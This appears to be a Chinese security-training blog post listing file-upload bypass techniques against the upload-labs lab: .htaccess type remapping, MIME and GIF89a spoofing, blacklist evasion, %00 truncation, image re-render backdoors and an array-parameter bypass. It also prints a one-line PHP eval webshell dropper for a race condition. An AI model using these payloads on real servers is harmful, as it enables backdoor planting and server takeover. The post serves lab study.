文件上传&黑白名单&MIME&JS泄露&执行权限&编码解析&OSS存储&分域名

Ethan医生3周前信息收集42

常规文件上传:

1、一定要明白:

无文件解析安全问题上,格式解析是一对一的(不能jpg解析php)

换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

 

2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

 

1、无限制

任意上传,什么文件都能上传

2、有限制:

限制后缀格式(判断后缀名,MIME类型,文件头等)

 

 

3、测试环境安装参考:

https://github.com/ffffffff0x/f8x

https://github.com/fuzzdb-project/fuzzdb

https://github.com/sqlsec/upload-labs-docker

下载上述资源

docker安装

f8x -d 或 f8x -docker

进入项目文件夹

cd upload-labs-docker

一键部署运行

docker-compose up -d

 

1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

 

2、.htaccess

AddType application/x-httpd-php .png

 

3、MIME类型

Content-Type:image/png

 

4、文件头判断

GIF89a

 

5、黑名单-过滤不严

无递归,pphphp

 

6、黑名单-过滤不严

系统大小写敏感属性

 

7、低版本GET-%00截断

自动解码一次

/var/www/html/upload/x.php%00

 

8、低版本POST-%00截断

手工解码一次

../upload/x.php%00 二次解码

 

9、黑名单-过滤不严

php3

 

10、逻辑不严-条件竞争

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

上传不断发包

请求不断发包

 

11、二次渲染

先搞个正常图片,上传导出渲染后的图片

对比保留部分,在保留部分添加后门代码

最后利用提示的文件包含执行图片后门代码

 

11、函数缺陷

move_uploaded_file 1.php/.

 

12、代码审计-数组绕过

-----------------------------174283082921961

Content-Disposition: form-data; name="save_name[0]"

 

http://2.php/

-----------------------------174283082921961

Content-Disposition: form-data; name="save_name[2]"

 

gif

 

 

#实战遇到的情况:

1、执行权限

文件上传后存储目录不给执行权限

绕过条件:能控制上传文件存储目录

2、解码还原

数据做存储,解析固定(文件后缀名无关)

文件上传后利用编码传输解码还原

绕过:无法直接绕过

3、分站存储

upload.xiaodi8.com 上传

images.xiaodi8.com 存储

绕过:看存储的执行策略

4、OSS对象

Access控制-OSS对象存储-Bucket对象

绕过:无法直接绕过

 

#应用场景:

1、注册用户上传地方

2、JS或API接口的代码

3、后台或其他管理页面

4、源码泄露或盲测文件

5、三方编辑器上传漏洞

6、特定的源码审计漏洞


 


标签: 文件上传

相关文章

漏扫项目篇&武装BURP&浏览器插件&信息收集&分析辅助&遥遥领先

#插件类-武装BurpSuite-漏洞检测&分析辅助漏洞检测类:1、FioraNuclei提供Poc图形界面,实现快速搜索、一键运行等功能,提升体验。https://github.com/bi...

漏扫项目篇&Nuclei&Yakit&Goby&Afrog&Xray&Awvs&联动中转被动

#知识点:1、综合类-Burp&Xray&Awvs&Goby2、特征类-Afrog&Yakit&Nuclei3、联动类-主动扫描&被动扫描&中转...

漏扫项目篇&Poc开发&Rule语法&反链判断&不回显检测&Yaml生成

#Xray-Poc开发-数据回显&RCE不回显&实验室1、开发参考:https://poc.xray.cool/https://docs.xray.cool/#/guide/READM...

漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结果&交互提取

#Nuclei-Poc开发-环境配置&编写流程1、开发环境:Vscode+Yaml插件https://code.visualstudio.com/2、开发文档参考资料:https://docs...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。